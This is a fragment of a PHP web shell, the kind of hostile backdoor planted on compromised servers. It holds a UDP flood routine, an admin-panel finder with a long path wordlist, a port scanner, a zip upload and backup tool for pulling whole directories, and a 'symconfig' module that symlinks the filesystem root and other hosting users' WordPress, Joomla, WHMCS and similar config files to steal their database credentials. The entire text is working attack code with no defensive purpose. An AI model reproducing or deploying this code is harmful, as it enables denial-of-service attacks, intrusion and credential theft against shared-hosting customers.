$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if ($fp) {
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at " . time('h:i:s') . " with $packets (" .
round(($packets * 65) / 1024, 2) . " mB) packets averaging " . round($packets /
$exec_time, 2) . " packets/s
";
}
}
elseif(isset($_GET['do']) && ($_GET['do'] == 'adfin'))

{
?>
<form action="?y=<?php echo $pwd; ?>&do=adfin" method="post">
<?php
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
adm/
_adm_
_admin_
_administrator_
operator
sika
adminweb
develop
ketua
#ff0066aktur
author
user
users
dinkesadmin
retel
panel
paneladmin
panellogin
#ff0066aksi
cp-admin
Login@web
admin1
admin2
admin3
admin4
admin5
admin6
admin7
admin8
admin9
admin10
master
master/index.php
master/login.php
terasadmin/index.php
terasadmin/login.php
rahasia
rahasia/login.php
rahasia/admin.php
rahasia/index.php
dinkesadmin/login.php
adminpmb
adminpmb/index.php
adminpmb/login.php
system
system/index.php
system/login.php
system/admin.php
webadmin
webadmin/index.php
webadmin/login.php
wpanel
wpanel/index.php
wpanel/login.php
adminpanel
adminpanel/index.php
adminpanel/login.php
adminkec
adminkec/index.php
adminkec/login.php
admindesa
admindesa/index.php
admindesa/login.php
adminkota
adminkota/index.php
adminkota/login.php
admin123
admin123/index.php
admin123/login.php
logout
logout/index.php
logout/login.php
logout/admin.php
adminweb_setting
admin1.html
admin
administrator
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-#ff0066irect/
sub-login/
wp-login.php
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo '
<script type="text/javascript">

</script>
<br>
<br>
<h1 class="technique-two">
</h1>
<div class="wrapper">
<div class="#ff0066">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">
<tr>
<tr>
<b><td>URL</td>
<td><input class="inputz" type="text" name="xploit_url" value="'.
$_POST['xploit_url'].'" style="width: 350px;" />
</td>
</tr><tr>
<td>404 string</td>
<td><input class="inputz" type="text" name="xploit_404string" value="'.
$_POST['xploit_404string'].'" style="width: 350px;" />
</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit"
name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> 
</div> 
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> 
</div></center>
<br clear="all" /><br />
<div class="#ff0066">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> 
</div> 
</div> 
<br clear="all"><br>';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".
$replace."');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = 'http://'.$x.'.'.$site.'/';
$headers = get_headers($t);
if (!eregi('200', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST['xploit_404string'] == "") if($data == $false) return 0;
if($_POST['xploit_404string'] != "") if(strpos($data,
$_POST['xploit_404string'])) return 0;
return 1;
}
//
-----------------------------------------------------------------------------------
-----------------------------------------------------------------------------------
----------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false =
@file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-
t_exist.html");
$list['end'] = str_replace("\r", "", $list['end']);
$list['front'] = str_replace("\r", "", $list['front']);
$pathes = explode("\n", $list['end']);
$frontpathes = explode("\n", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #FFFFFF;"><strong>found</strong></span>', 1, 0,
'logbox', 0);
show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #FFFFFF;"><strong>found</strong></span>', 1, 0,
'logbox', 0);
show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.
$site.'</a>', 1, 0, 'rightcol', 0);
}
}
}
elseif($_GET['do'] == 'ports') {
echo '<table><tr><th><center><u>Port Scanner</u></tr></th></center><td>';
echo '<div class="content">';
echo '<form action="" method="post">';
if(isset($_POST['host']) && is_numeric($_POST['end']) &&

is_numeric($_POST['start'])){
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
} else {
echo '<br /><br /><center><input type="hidden" name="a"
value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
<input type="hidden" name="c"
value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type="hidden" name="charset" value="'.
(isset($_POST['charset'])?$_POST['charset']:'').'">
Host: <input type="text" name="host" value="localhost"/><br /><br />
Port start: <input type="text" name="start" value="0"/><br /><br />
Port end:<input type="text" name="end" value="5000"/><br /><br />
<input type="submit" value="Scan Ports" />
</form></center><br /><br />';
echo '</div></table></td>';
}
}
elseif($_GET['do'] == 'zip') {
echo "<center><h1>Zip Menu</h1>";
function rmdir_recursive($dir) {
foreach(scandir($dir) as $file) {
if ('.' === $file || '..' === $file) continue;
if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
else unlink("$dir/$file");
}
rmdir($dir);
}
if($_FILES["zip_file"]["name"]) {
$filename = $_FILES["zip_file"]["name"];
$source = $_FILES["zip_file"]["tmp_name"];
$type = $_FILES["zip_file"]["type"];
$name = explode(".", $filename);
$accepted_types = array('application/zip', 'application/x-zip-compressed',
'multipart/x-zip', 'application/x-compressed');
foreach($accepted_types as $mime_type) {
if($mime_type == $type) {
$okay = true;
break;
}
}
$continue = strtolower($name[1]) == 'zip' ? true : false;
if(!$continue) {
$message = "Its Not Zip";
}
$path = dirname(__FILE__).'/';
$filenoext = basename ($filename, '.zip');
$filenoext = basename ($filenoext, '.ZIP');
$targetdir = $path . $filenoext;
$targetzip = $path . $filename;
if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
mkdir($targetdir, 0777);
if(move_uploaded_file($source, $targetzip)) {
$zip = new ZipArchive();
$x = $zip->open($targetzip);
if ($x === true) {
$zip->extractTo($targetdir);
$zip->close();
unlink($targetzip);
}
$message = "<b>Sukses</b>";
} else {
$message = "<b>Error</b>";
}
}
echo '<table style="width:100%" border="1">
<tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data"
method="post" action="">
<label>Zip File : <input type="file" name="zip_file" /></label>
<input type="submit" name="submit" value="Upload And Unzip" />
</form>';
if($message) echo "<p>$message</p>";
echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-
decoration: underline;'>Folder:</font><br><input type='text' name='dir'
value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration:
underline;'>Save To:</font><br><input type='text' name='save'
value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input
type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
if($_POST['backup']){
$save=$_POST['save'];
function Zip($source, $destination)
{
if (extension_loaded('zip') === true)
{
if (file_exists($source) === true)
{
$zip = new ZipArchive();
if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)

{
$source = realpath($source);
if (is_dir($source) === true)

{
$files = new RecursiveIteratorIterator(new
RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
foreach ($files as $file)

{
$file = realpath($file);
if (is_dir($file) === true)

{
$zip->addEmptyDir(str_replace($source . '/', '',
$file . '/'));
}
else if (is_file($file) === true)

{
$zip->addFromString(str_replace($source . '/', '',
$file), file_get_contents($file));
}
}
}
else if (is_file($source) === true)

{
$zip->addFromString(basename($source),
file_get_contents($source));
}
}
return $zip->close();
}
}
return false;
}
Zip($_POST['dir'],$save);
echo "Done , Save To <b>$save</b>";
}
echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font
style='text-decoration: underline;'>Zip Location:</font><br><input type='text'
name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font
style='text-decoration: underline;'>Save To:</font><br><input type='text'
name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input
type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
if($_POST['extrak']){
$save=$_POST['save'];
$zip = new ZipArchive;
$res = $zip->open($_POST['dir']);
if ($res === TRUE) {
$zip->extractTo($save);
$zip->close();
echo 'Succes , Location : <b>'.$save.'</b>';
} else {
echo 'Gagal Mas :( Ntahlah !';
}
}
echo '</tr></table>';
}
elseif($_GET['do'] == 'symconfig') {
if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
echo '<script>alert("Skid this won\'t work on Windows")</script>';
exit;
}
else
{
if($_POST["m"] && !$_POST["passwd"]==""){
@mkdir("008_symconf", 0777);
@chdir("008_symconf");
@symlink("/","root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex 008.htm
Satisfy Any";
@file_put_contents(".htaccess",$htaccess);
$etc_passwd=$_POST["passwd"];
$etc_passwd=explode("\n",$etc_passwd);
foreach($etc_passwd as $passwd){
$pawd=explode(":",$passwd);
$user =$pawd[0];
@symlink('/','008_symconf/root');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-
Vbulletin.txt');
@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-
Vbulletin.txt');
@symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-
Vbulletin.txt');
@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-
Vbulletin.txt');
@symlink('/home/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
@symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home/'.$user.'/public_html/products/includes/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home/'.$user.'/public_html/cart/includes/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.'-
Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/portal/wp-config.php',$user.'-
Wordpress.txt');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-
Wordpress.txt');
@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-
Joomla.txt');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-
Joomla.txt');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmcs1/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Supportes/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/supportes/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/domains/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/domain/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Hosting/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/HOSTING/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/CLIENT/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Client/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Clientarea/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Support/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/BILLING/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Billing/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/MANAGE/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Manage/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Checkout/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/BASKET/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Basket/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/basket/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/SECURE/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Secure/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Purchase/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Account/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/account/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Clients/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/support/order/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/supportes/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/support/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/hosting/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/order/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/client/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/clients/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/cliente/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/clientes/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/billing/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/billings/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/secure/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/support/order/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-
Zencart.txt');
@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-
Zencart.txt');
@symlink('/home/'.$user.'/public_html/products/includes/dist-configure.php',
$user.'-Zencart.txt');
@symlink('/home/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-
Zencart.txt');
